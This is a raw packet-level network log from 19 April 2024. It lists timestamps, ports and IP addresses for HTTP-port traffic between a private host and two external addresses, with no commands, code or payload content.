Apr 19, 2024 03:29:06.306937933 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.306963921 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.306974888 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.307003021 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.307009935 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.307041883 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.307060957 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.307080030 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.307090998 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.307117939 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.307132006 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.307156086 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.307168007 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.307194948 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.307205915 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.307233095 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.307262897 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.307271957 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.307286978 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.307310104 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.307322025 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.307348967 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.307358027 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.307388067 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.307408094 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.307427883 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.307439089 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.307466984 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.307476997 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.307512045 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.307523012 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.307549000 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.307554960 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.307586908 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.307596922 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.307624102 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.307634115 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.307663918 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.307682037 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.307702065 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.307712078 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.307742119 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.307748079 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.307780981 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.307797909 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.307820082 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.307831049 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.307861090 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.307872057 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.307897091 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.307926893 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.307934046 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.307940960 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.307976007 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.307987928 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.308013916 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.308027029 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.308054924 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.308064938 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.308094025 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.308113098 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.308136940 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.308162928 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.308202982 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.308217049 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.308239937 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.308250904 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.308280945 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.308295965 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.308320045 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.308326960 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.308358908 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.308368921 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.308398008 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.308412075 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.308435917 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.308448076 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.308473110 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.308485985 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.308515072 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.308528900 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.308563948 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.523247004 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.523313999 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.523336887 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.523354053 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.523392916 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.523407936 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.523407936 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.523432016 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.523459911 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.523472071 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.523487091 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.523510933 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.523541927 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.523549080 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.523587942 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.523593903 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.523593903 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.523627996 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.523633003 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.523711920 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.531845093 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.531913042 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.531955004 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.531972885 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.531972885 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.531992912 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.532038927 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.532042980 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.532083035 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.532118082 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.532118082 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.532141924 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.532154083 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.532197952 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.532224894 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.532238960 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.532278061 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.532285929 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.532285929 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.532315969 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.532355070 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.532356977 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.532356977 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.532392979 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.532394886 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.532430887 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.532469034 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.532480001 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.532480001 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.532507896 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.532538891 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.532546043 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.532584906 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.532587051 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.532587051 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.532624006 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.532632113 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.532661915 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.532668114 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.532700062 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.532718897 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.532741070 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.532753944 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.532780886 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.532794952 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.532821894 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.532860994 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.532866955 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.532866955 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.532901049 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.532902002 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.532941103 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.532943010 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.532982111 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.532988071 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.533020973 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.533057928 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.533067942 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.533067942 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.533098936 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.533135891 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.533143044 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.533143044 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.533174992 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.533212900 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.533251047 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.533253908 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.533253908 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.533255100 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.533288956 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.533301115 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.533327103 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.533345938 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.533365965 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.533376932 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.533437967 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.534270048 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.534311056 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.534348011 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.534377098 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.534377098 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.534384966 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.534392118 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.534425974 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.534465075 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.534475088 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.534475088 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.534503937 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.534504890 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.534548998 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.534554958 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.534593105 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.534616947 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.534630060 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.534636021 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.534667969 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.534703970 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.534713030 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.534713030 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.534744978 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.534790993 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.534790993 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.608498096 CEST	49713	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.608539104 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.608918905 CEST	49716	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:06.769536972 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.769604921 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.769648075 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.769654989 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.769654989 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.769706011 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.780528069 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.780627012 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.780631065 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.780668020 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.780704975 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.780704975 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.780706882 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.780751944 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.780759096 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.780791044 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.780833960 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.780872107 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.780877113 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.780877113 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.780877113 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.780914068 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.780915022 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.781033993 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.782190084 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.782248974 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.782289028 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.782319069 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.782319069 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.782329082 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.782352924 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.782368898 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.782407999 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.782445908 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.782457113 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.782457113 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.782457113 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.782485962 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.782526016 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.782530069 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.782530069 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.782562971 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.782588959 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.782602072 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.782640934 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.782680988 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.782685995 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.782685995 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.782685995 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.782718897 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.782759905 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.782798052 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.782803059 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.782803059 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.782803059 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.782835007 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.782872915 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.782872915 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.782912016 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.782917023 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.782917023 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.782949924 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.782985926 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.782989025 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.783027887 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.783030987 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.783030987 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.783066988 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.783076048 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.783104897 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.783143997 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.783158064 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.783158064 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.783183098 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.783199072 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.783219099 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.783257961 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.783292055 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.783292055 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.783296108 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.783323050 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.783334970 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.783353090 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.783373117 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.783410072 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.783420086 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.783420086 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.783448935 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.783488035 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.783524990 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.783536911 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.783536911 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.783536911 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.783562899 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.783565044 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.783601046 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.783638954 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.783653021 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.783653021 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.783678055 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.783715963 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.783720016 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.783720016 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.783755064 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.783792973 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.783802032 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.783802032 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.783832073 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.783869028 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.783907890 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.783915997 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.783915997 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.783915997 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.783946037 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.783987999 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.783996105 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.783996105 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.784024000 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.784061909 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.784113884 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.784113884 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.784113884 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.784128904 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:06.784197092 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:06.852912903 CEST	80	49713	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:06.853003979 CEST	49713	80	192.168.2.5	193.233.132.56
